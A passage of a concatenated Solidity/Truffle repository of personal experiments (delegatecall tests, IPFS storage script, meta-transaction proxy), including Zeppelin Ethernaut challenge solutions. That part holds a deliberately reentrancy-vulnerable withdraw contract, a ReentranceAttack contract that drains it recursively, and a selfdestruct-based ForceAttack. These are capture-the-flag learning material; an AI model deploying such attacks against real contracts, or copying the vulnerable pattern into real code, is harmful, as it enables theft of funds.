} 16 | } 17 | -------------------------------------------------------------------------------- /Misc/AragonTest/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Misc/AragonTest/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "zeppelin-solidity": { 6 | "version": "1.4.0", 7 | "resolved": "https://registry.npmjs.org/zeppelin-solidity/-/zeppelin-solidity-1.4.0.tgz", 8 | "integrity": "sha512-eJfD1Zf0ZP2m0oYnB/HM7JPJ81MNjs3qt+c/TRd5kvCSOU3EfYNHz5YfFgzkJzvPUGs0Zg8spzGROlqXShvisg==" 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Misc/AragonTest/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "zeppelin-solidity": "^1.4.0" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /Misc/AragonTest/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*", // Match any network id 7 | gas: 4000000, 8 | gasPrice: 21000000000 9 | }, 10 | kovan: { 11 | host: "localhost", 12 | port: 8548, // might be 8547 13 | network_id: "*", 14 | gas: 5000000, 15 | gasPrice: 50000000000 16 | }, 17 | rinkeby: { 18 | host: "localhost", 19 | port: 8549, // might be 8547 20 | network_id: "*", 21 | gas: 5000000, 22 | gasPrice: 50000000000 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Misc/AssemblyExperiment/contracts/DelegateToContract.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.17; 2 | 3 | // Don't use standard contracts as libraries, use the 'library' keyword instead. Parity multi-sig got locked because of this. 4 | contract DelegateToContract { 5 | 6 | uint public updateByDelegate; 7 | 8 | function updateStorageVar() public { 9 | updateByDelegate = 321; 10 | } 11 | 12 | function get32ByteValue() public pure returns (uint256) { 13 | uint256 returnValue = 123; 14 | return returnValue; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Misc/AssemblyExperiment/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Misc/AssemblyExperiment/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | // deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Misc/AssemblyExperiment/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = function(deployer) { 3 | }; 4 | -------------------------------------------------------------------------------- /Misc/AssemblyExperiment/test/AssemblyExperimentTest.js: -------------------------------------------------------------------------------- 1 | const AssemblyExperiment = artifacts.require("AssemblyExperiment.sol") 2 | const DelegateToContract = artifacts.require("DelegateToContract.sol") 3 | 4 | contract("AssemblyExperiment", accounts => { 5 | 6 | let assemblyExperiment; 7 | 8 | beforeEach(async () => assemblyExperiment = await AssemblyExperiment.new()) 9 | 10 | it("getFunctionSig() returns correct signature", async () => { 11 | const functionSig = await assemblyExperiment.getFunctionSig() 12 | assert.equal(functionSig, "0x7f47a1c2") 13 | }) 14 | 15 | it("getMemory() gets memory at top of memory", async () => { 16 | const memory = await assemblyExperiment.getMemory() 17 | assert.equal(memory, 96) 18 | }) 19 | 20 | it("doStandardDelegateCall() updates var in calling contract and not in called contract", async () => { 21 | const delegateToContract = await DelegateToContract.new() 22 | await assemblyExperiment.doStandardDelegateCall(delegateToContract.address, "updateStorageVar()") 23 | const delegateToContractVar = await delegateToContract.updateByDelegate() 24 | const assemblyExperimentVar = await assemblyExperiment.updateByDelegate() 25 | 26 | assert.equal(delegateToContractVar.toNumber(), 0) 27 | assert.equal(assemblyExperimentVar.toNumber(), 321) 28 | }) 29 | 30 | it("doAssemblyDelegateCall() returns value from delegate to contract function call", async () => { 31 | const delegateToContract = await DelegateToContract.new(); 32 | const delegatedFunctionResult = await assemblyExperiment.doAssemblyDelegateCall(delegateToContract.address, "get32ByteValue()") 33 | assert.equal(delegatedFunctionResult, 123) 34 | }) 35 | 36 | it("getFunctionSigBytes() returns correct signature", async () => { 37 | const functionSig = await assemblyExperiment.getFunctionSigBytes("getFunctionSig()") 38 | assert.equal(functionSig, "0x7f47a1c2") 39 | }) 40 | 41 | describe("byte tests", () => { 42 | 43 | it("testBytes1()", async () => { 44 | const bytes1 = await assemblyExperiment.testBytes1() 45 | assert.equal(bytes1, "0x12") 46 | }) 47 | 48 | it("testByteArray()", async () => { 49 | const byteArray = await assemblyExperiment.testByteArray() 50 | assert.deepEqual(byteArray, ["0x12"]) 51 | }) 52 | }) 53 | 54 | it("stringToBytes32() returns correct bytes32", async () => { 55 | const stringBytes32 = await assemblyExperiment.stringToBytes32("Hola") 56 | assert.equal(stringBytes32, "0x486f6c6100000000000000000000000000000000000000000000000000000000") 57 | }) 58 | }) -------------------------------------------------------------------------------- /Misc/AssemblyExperiment/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*", // Match any network id 7 | gas: 4000000 8 | } 9 | } 10 | }; 11 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/build/contracts/IpfsTest.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "IpfsTest", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "_ipfsHash", 9 | "type": "string" 10 | } 11 | ], 12 | "name": "setIpfsHash", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "ipfsHash", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "string" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | } 30 | ], 31 | "unlinked_binary": "0x6060604052341561000c57fe5b5b6102868061001c6000396000f300606060405263ffffffff60e060020a6000350416634e3b62ec811461002c578063c623674f14610084575bfe5b341561003457fe5b610082600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284375094965061011495505050505050565b005b341561008c57fe5b61009461012c565b6040805160208082528351818301528351919283929083019185019080838382156100da575b8051825260208311156100da57601f1990920191602091820191016100ba565b505050905090810190601f1680156101065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b80516101279060009060208401906101ba565b505b50565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101b25780601f10610187576101008083540402835291602001916101b2565b820191906000526020600020905b81548152906001019060200180831161019557829003601f168201915b505050505081565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106101fb57805160ff1916838001178555610228565b82800160010185558215610228579182015b8281111561022857825182559160200191906001019061020d565b5b50610235929150610239565b5090565b61025791905b80821115610235576000815560010161023f565b5090565b905600a165627a7a723058207ae49bc863e216a7b85a779649268c4e0d382361aeab4540537f7f7a98e31dc20029", 32 | "networks": { 33 | "1500131755018": { 34 | "events": {}, 35 | "links": {}, 36 | "address": "0x70cd14f416a271d7ab9fc2488f69fa6c5562266c", 37 | "updated_at": 1500237944604 38 | } 39 | }, 40 | "schema_version": "0.0.5", 41 | "updated_at": 1500237944604 42 | } -------------------------------------------------------------------------------- /Misc/IpfsExperiment/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101a0806100396000396000f300606060405263ffffffff60e060020a6000350416630900f0108114610042578063445df0ac146100605780638da5cb5b14610082578063fdacd576146100ae575bfe5b341561004a57fe5b61005e600160a060020a03600435166100c3565b005b341561006857fe5b61007061013d565b60408051918252519081900360200190f35b341561008a57fe5b610092610143565b60408051600160a060020a039092168252519081900360200190f35b34156100b657fe5b61005e600435610152565b005b6000805433600160a060020a03908116911614156101375781905080600160a060020a031663fdacd5766001546040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b151561012557fe5b6102c65a03f1151561013357fe5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a039081169116141561016f5760018190555b5b5b505600a165627a7a723058205d86b8e350e5cae248cac382e41481e0ce0c8f23504a0315d91abf52ad0bc8660029", 63 | "networks": { 64 | "1500131755018": { 65 | "events": {}, 66 | "links": {}, 67 | "address": "0x8d5e2825d61cb5108b123299e7b6bffbaeb5b81a", 68 | "updated_at": 1500237944604 69 | } 70 | }, 71 | "schema_version": "0.0.5", 72 | "updated_at": 1500237944604 73 | } -------------------------------------------------------------------------------- /Misc/IpfsExperiment/contracts/IpfsTest.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract IpfsTest { 4 | 5 | string public ipfsHash; 6 | 7 | function setIpfsHash(string _ipfsHash) { 8 | ipfsHash = _ipfsHash; 9 | } 10 | } -------------------------------------------------------------------------------- /Misc/IpfsExperiment/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/file.txt: -------------------------------------------------------------------------------- 1 | Hola Worldoso. -------------------------------------------------------------------------------- /Misc/IpfsExperiment/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var IpfsTest = artifacts.require("./IpfsTest.sol"); 2 | 3 | module.exports = deployer => { 4 | deployer.deploy(IpfsTest) 5 | } 6 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/test/TestMetacoin.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.2; 2 | 3 | import "truffle/Assert.sol"; 4 | import "truffle/DeployedAddresses.sol"; 5 | import "../contracts/MetaCoin.sol"; 6 | 7 | contract TestMetacoin { 8 | 9 | function testInitialBalanceUsingDeployedContract() { 10 | MetaCoin meta = MetaCoin(DeployedAddresses.MetaCoin()); 11 | 12 | uint expected = 10000; 13 | 14 | Assert.equal(meta.getBalance(tx.origin), expected, "Owner should have 10000 MetaCoin initially"); 15 | } 16 | 17 | function testInitialBalanceWithNewMetaCoin() { 18 | MetaCoin meta = new MetaCoin(); 19 | 20 | uint expected = 10000; 21 | 22 | Assert.equal(meta.getBalance(tx.origin), expected, "Owner should have 10000 MetaCoin initially"); 23 | } 24 | 25 | } 26 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/test/metacoin.js: -------------------------------------------------------------------------------- 1 | var MetaCoin = artifacts.require("./MetaCoin.sol"); 2 | 3 | contract('MetaCoin', function(accounts) { 4 | it("should put 10000 MetaCoin in the first account", function() { 5 | return MetaCoin.deployed().then(function(instance) { 6 | return instance.getBalance.call(accounts[0]); 7 | }).then(function(balance) { 8 | assert.equal(balance.valueOf(), 10000, "10000 wasn't in the first account"); 9 | }); 10 | }); 11 | it("should call a function that depends on a linked library", function() { 12 | var meta; 13 | var metaCoinBalance; 14 | var metaCoinEthBalance; 15 | 16 | return MetaCoin.deployed().then(function(instance) { 17 | meta = instance; 18 | return meta.getBalance.call(accounts[0]); 19 | }).then(function(outCoinBalance) { 20 | metaCoinBalance = outCoinBalance.toNumber(); 21 | return meta.getBalanceInEth.call(accounts[0]); 22 | }).then(function(outCoinBalanceEth) { 23 | metaCoinEthBalance = outCoinBalanceEth.toNumber(); 24 | }).then(function() { 25 | assert.equal(metaCoinEthBalance, 2 * metaCoinBalance, "Library function returned unexpected function, linkage may be broken"); 26 | }); 27 | }); 28 | it("should send coin correctly", function() { 29 | var meta; 30 | 31 | // Get initial balances of first and second account. 32 | var account_one = accounts[0]; 33 | var account_two = accounts[1]; 34 | 35 | var account_one_starting_balance; 36 | var account_two_starting_balance; 37 | var account_one_ending_balance; 38 | var account_two_ending_balance; 39 | 40 | var amount = 10; 41 | 42 | return MetaCoin.deployed().then(function(instance) { 43 | meta = instance; 44 | return meta.getBalance.call(account_one); 45 | }).then(function(balance) { 46 | account_one_starting_balance = balance.toNumber(); 47 | return meta.getBalance.call(account_two); 48 | }).then(function(balance) { 49 | account_two_starting_balance = balance.toNumber(); 50 | return meta.sendCoin(account_two, amount, {from: account_one}); 51 | }).then(function() { 52 | return meta.getBalance.call(account_one); 53 | }).then(function(balance) { 54 | account_one_ending_balance = balance.toNumber(); 55 | return meta.getBalance.call(account_two); 56 | }).then(function(balance) { 57 | account_two_ending_balance = balance.toNumber(); 58 | 59 | assert.equal(account_one_ending_balance, account_one_starting_balance - amount, "Amount wasn't correctly taken from the sender"); 60 | assert.equal(account_two_ending_balance, account_two_starting_balance + amount, "Amount wasn't correctly sent to the receiver"); 61 | }); 62 | }); 63 | }); 64 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Misc/IpfsExperiment/ts.js: -------------------------------------------------------------------------------- 1 | const bl = require('bl'); 2 | const fs = require('fs'); 3 | const IpfsTest = artifacts.require('./IpfsTest.sol'); 4 | const ipfsTest = IpfsTest.at(IpfsTest.address); 5 | // Note, this requires an Ipfs Daemon to be running with this config. 6 | const ipfsApi = require('ipfs-api'); 7 | const ipfs = ipfsApi('localhost', '5001', {protocol: 'http'}); 8 | 9 | const printStream = stream => stream.pipe(bl((err, data) => { 10 | console.log(data.toString()) 11 | })); 12 | 13 | const filo = fs.createReadStream('file.txt'); 14 | const files = [{path: 'testFolder/actualFile.txt', content: filo}]; 15 | 16 | // The below adds file.txt to ipfs 17 | // > sets the hash in the contract 18 | // > gets the hash from the contract 19 | // > gets and prints the file from ipfs 20 | ipfs.add(files) 21 | .then((files) => { 22 | console.log(files) 23 | return files[0].hash 24 | }) 25 | .then(fileHash => ipfsTest.setIpfsHash(fileHash)) 26 | .then(() => ipfsTest.ipfsHash()) 27 | .then(fileHash => ipfs.cat(fileHash)) 28 | .then(stream => printStream(stream)) 29 | 30 | module.exports = (callback) => {} -------------------------------------------------------------------------------- /Misc/MetaTransactions/contracts/EcTools.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.25; 2 | 3 | library EcTools { 4 | 5 | /** 6 | * @dev Recover signer address from a message by using his signature 7 | * @param originalMessage bytes32 message, the originalMessage is the signed message. What is recovered is the signer address. 8 | * @param signedMessage bytes signature 9 | */ 10 | function recover(bytes32 originalMessage, bytes signedMessage) public pure returns (address) { 11 | bytes32 r; 12 | bytes32 s; 13 | uint8 v; 14 | 15 | //Check the signature length 16 | if (signedMessage.length != 65) { 17 | return (address(0)); 18 | } 19 | 20 | // Divide the signature in r, s and v variables 21 | assembly { 22 | r := mload(add(signedMessage, 32)) 23 | s := mload(add(signedMessage, 64)) 24 | v := byte(0, mload(add(signedMessage, 96))) 25 | } 26 | 27 | // Version of signature should be 27 or 28, but 0 and 1 are also possible versions 28 | if (v < 27) { 29 | v += 27; 30 | } 31 | 32 | // If the version is correct return the signer address 33 | if (v != 27 && v != 28) { 34 | return (address(0)); 35 | } else { 36 | return ecrecover(originalMessage, v, r, s); 37 | } 38 | } 39 | 40 | function toEthereumSignedMessage(bytes32 _msg) public view returns (bytes32) { 41 | bytes memory prefix = "\x19Ethereum Signed Message:\n32"; 42 | return keccak256(abi.encodePacked(prefix, _msg)); 43 | } 44 | 45 | function prefixedRecover(bytes32 _msg, bytes sig) public view returns (address) { 46 | bytes32 ethSignedMsg = toEthereumSignedMessage(_msg); 47 | return recover(ethSignedMsg, sig); 48 | } 49 | } -------------------------------------------------------------------------------- /Misc/MetaTransactions/contracts/ExternalContract.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.25; 2 | 3 | contract ExternalContract { 4 | 5 | uint256 public _value; 6 | 7 | function updateValue(uint256 value) public { 8 | _value = value; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Misc/MetaTransactions/contracts/MetaTxProxy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.25; 2 | 3 | import "./EcTools.sol"; 4 | 5 | contract MetaTxProxy { 6 | 7 | address public _signer; 8 | 9 | mapping(bytes32 => uint256) public _transactionHashNonce; 10 | 11 | // For enabling the relayer to deploy the contract see: 12 | // https://medium.com/limechain/part-two-second-layer-solutions-a-journey-into-meta-transactions-counterfactual-instantiation-b3758507af03 13 | // Also useful to understand how to do counterfactual instantiation using ethers lib 14 | // Counterfactual instantiation process also described here: https://medium.com/gitcoin/counterfactual-loan-repayment-828a59d9b730 15 | constructor() public { 16 | _signer = msg.sender; 17 | } 18 | 19 | function () public payable {} 20 | 21 | function getTransactionHashNonce(bytes32 transactionHash) view public returns (uint256) { 22 | return _transactionHashNonce[transactionHash]; 23 | } 24 | 25 | function getTransactionHash(address target, uint256 value, bytes data, uint256 reward) view public returns (bytes32) { 26 | bytes32 transactionHash = getTransactionHashWithoutNonce(target, value, data, reward); 27 | uint256 transactionNonce = _transactionHashNonce[transactionHash]; 28 | return getTransactionHashWithNonce(target, value, data, reward, transactionNonce); 29 | } 30 | 31 | function getTransactionHashWithoutNonce(address target, uint256 value, bytes data, uint256 reward) pure private returns (bytes32) { 32 | return keccak256(abi.encodePacked(target, value, data, reward)); 33 | } 34 | 35 | function getTransactionHashWithNonce(address target, uint256 value, bytes data, uint256 reward, uint256 nonce) pure private returns (bytes32) { 36 | return keccak256(abi.encodePacked(target, value, data, reward, nonce)); 37 | } 38 | 39 | function getSigner(bytes32 messageHash, bytes signature) view public returns (address) { 40 | return EcTools.prefixedRecover(messageHash, signature); 41 | } 42 | 43 | function executeTransaction(address target, uint256 value, bytes data, uint256 reward, uint256 nonce, bytes signature) public { 44 | verifySignature(target, value, data, reward, signature); 45 | verifyAndUpdateNonce(target, value, data, reward, nonce); 46 | 47 | msg.sender.transfer(reward); 48 | require(target.call.value(value)(data), "External call/transfer was unsuccessful"); 49 | } 50 | 51 | function verifySignature(address target, uint256 value, bytes data, uint256 reward, bytes signature){ 52 | bytes32 messageHash = getTransactionHash(target, value, data, reward); 53 | address signer = getSigner(messageHash, signature); 54 | require(signer == _signer, "Invalid signer"); 55 | } 56 | 57 | function verifyAndUpdateNonce(address target, uint256 value, bytes data, uint256 reward, uint256 nonce) view private { 58 | bytes32 txHashWithoutNonce = getTransactionHashWithoutNonce(target, value, data, reward); 59 | uint256 currentNonce = _transactionHashNonce[txHashWithoutNonce]; 60 | require(currentNonce == nonce, "Incorrect or previously used nonce"); 61 | _transactionHashNonce[txHashWithoutNonce]++; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Misc/MetaTransactions/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.25; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Misc/MetaTransactions/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Misc/MetaTransactions/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "assertion-error": { 6 | "version": "1.1.0", 7 | "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", 8 | "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==" 9 | }, 10 | "bn.js": { 11 | "version": "4.11.8", 12 | "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", 13 | "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==" 14 | }, 15 | "chai": { 16 | "version": "4.2.0", 17 | "resolved": "https://registry.npmjs.org/chai/-/chai-4.2.0.tgz", 18 | "integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==", 19 | "requires": { 20 | "assertion-error": "^1.1.0", 21 | "check-error": "^1.0.2", 22 | "deep-eql": "^3.0.1", 23 | "get-func-name": "^2.0.0", 24 | "pathval": "^1.1.0", 25 | "type-detect": "^4.0.5" 26 | } 27 | }, 28 | "check-error": { 29 | "version": "1.0.2", 30 | "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz", 31 | "integrity": "sha1-V00xLt2Iu13YkS6Sht1sCu1KrII=" 32 | }, 33 | "deep-eql": { 34 | "version": "3.0.1", 35 | "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", 36 | "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", 37 | "requires": { 38 | "type-detect": "^4.0.0" 39 | } 40 | }, 41 | "get-func-name": { 42 | "version": "2.0.0", 43 | "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", 44 | "integrity": "sha1-6td0q+5y4gQJQzoGY2YCPdaIekE=" 45 | }, 46 | "openzeppelin-solidity": { 47 | "version": "2.0.0", 48 | "resolved": "https://registry.npmjs.org/openzeppelin-solidity/-/openzeppelin-solidity-2.0.0.tgz", 49 | "integrity": "sha512-SolpxQFArtiYnlSNg3dZ9sz0WVlKtPqSOcJkXRllaZp4+Lpfqz3vxF0yoh7g75TszKPyadqoJmU7+GM/vwh9SA==" 50 | }, 51 | "pathval": { 52 | "version": "1.1.0", 53 | "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.0.tgz", 54 | "integrity": "sha1-uULm1L3mUwBe9rcTYd74cn0GReA=" 55 | }, 56 | "type-detect": { 57 | "version": "4.0.8", 58 | "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", 59 | "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==" 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /Misc/MetaTransactions/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "bn.js": "^4.11.8", 4 | "chai": "^4.2.0", 5 | "openzeppelin-solidity": "^2.0.0" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /Misc/README.md: -------------------------------------------------------------------------------- 1 | # Misc 2 | 3 | Random miscellaneous contracts. 4 | 5 | ### Ipfs Experiment 6 | Only the ts.js is interesting here. Basic use of IPFS in JS, adding a file to IPFS then saving its hash in a contract. 7 | 8 | ### Zeppelin Ethernaut 9 | Contracts for completing the Zeppelin Ethernaut challenge (https://ethernaut.zeppelin.solutions/). Primarily an example of exploiting the reentrancy vulnerability (the issue allowing the DAO hack). 10 | 11 | ### Assembly Experiments 12 | Tests for some basic assembly instructions, including delegatecall. I expect to add to this as I need to understand more assembly. 13 | 14 | ### Aragon Test 15 | An attempt at the Aragon Solidity Developer application test, unfinished. 16 | 17 | ### Meta Transactions 18 | Experimenting with MetaTransactions. Investigation is mainly based on the LimeChain implementation from here: https://github.com/LimeChain/IdentityProxy 19 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/contracts/ForceAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | 4 | contract ForceAttack { 5 | 6 | function ForceAttack() payable { 7 | 8 | } 9 | 10 | function attackForce(address forceAddr) { 11 | selfdestruct(forceAddr); 12 | } 13 | 14 | } 15 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/contracts/Reentrance.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract Reentrance { 4 | 5 | mapping(address => uint) public balances; 6 | 7 | function donate(address _to) public payable { 8 | balances[_to] += msg.value; 9 | } 10 | 11 | function balanceOf(address _who) public constant returns (uint balance) { 12 | return balances[_who]; 13 | } 14 | 15 | function withdraw(uint _amount) public { 16 | if(balances[msg.sender] >= _amount) { 17 | // Note that the Solidity address.call function evaluates the gas necessary to complete the 18 | // function after the call has been completed and subtracts that from the gas given to the called contract. 19 | // This prevents OOG issues when the called contract consumes all the gas. 20 | if(msg.sender.call.value(_amount)()) { 21 | _amount; 22 | } 23 | balances[msg.sender] -= _amount; 24 | } 25 | } 26 | 27 | function() payable {} 28 | } -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/contracts/ReentranceAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "./Reentrance.sol"; 4 | 5 | contract ReentranceAttack { 6 | 7 | Reentrance private reentranceContract; 8 | 9 | function ReentranceAttack(address reentranceAddress){ 10 | reentranceContract = Reentrance(reentranceAddress); 11 | } 12 | 13 | function attackReentrance() { 14 | reentranceContract.withdraw(1 ether); 15 | } 16 | 17 | function() payable { 18 | // We don't need a conditional preventing execution if the gas available is too low because the 19 | // Solidity address.call() function retains enough gas to finish execution of the function from where it's called. 20 | // address.call() will return false if the called function runs out of gas. 21 | reentranceContract.withdraw(1 ether); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | // deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | const Reentrance = artifacts.require("./Reentrance.sol") 2 | const ReenAttack = artifacts.require("./ReentranceAttack.sol") 3 | 4 | module.exports = function(deployer) { 5 | // deployer.deploy(Reentrance) 6 | // .then(() => deployer.deploy(ReenAttack, Reentrance.address)) 7 | } 8 | -------------------------------------------------------------------------------- /Misc/ZeppelinEthernaut/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "zeppelin-solidity": "^1.3.0", 4 | "truffle-hdwallet-provider": 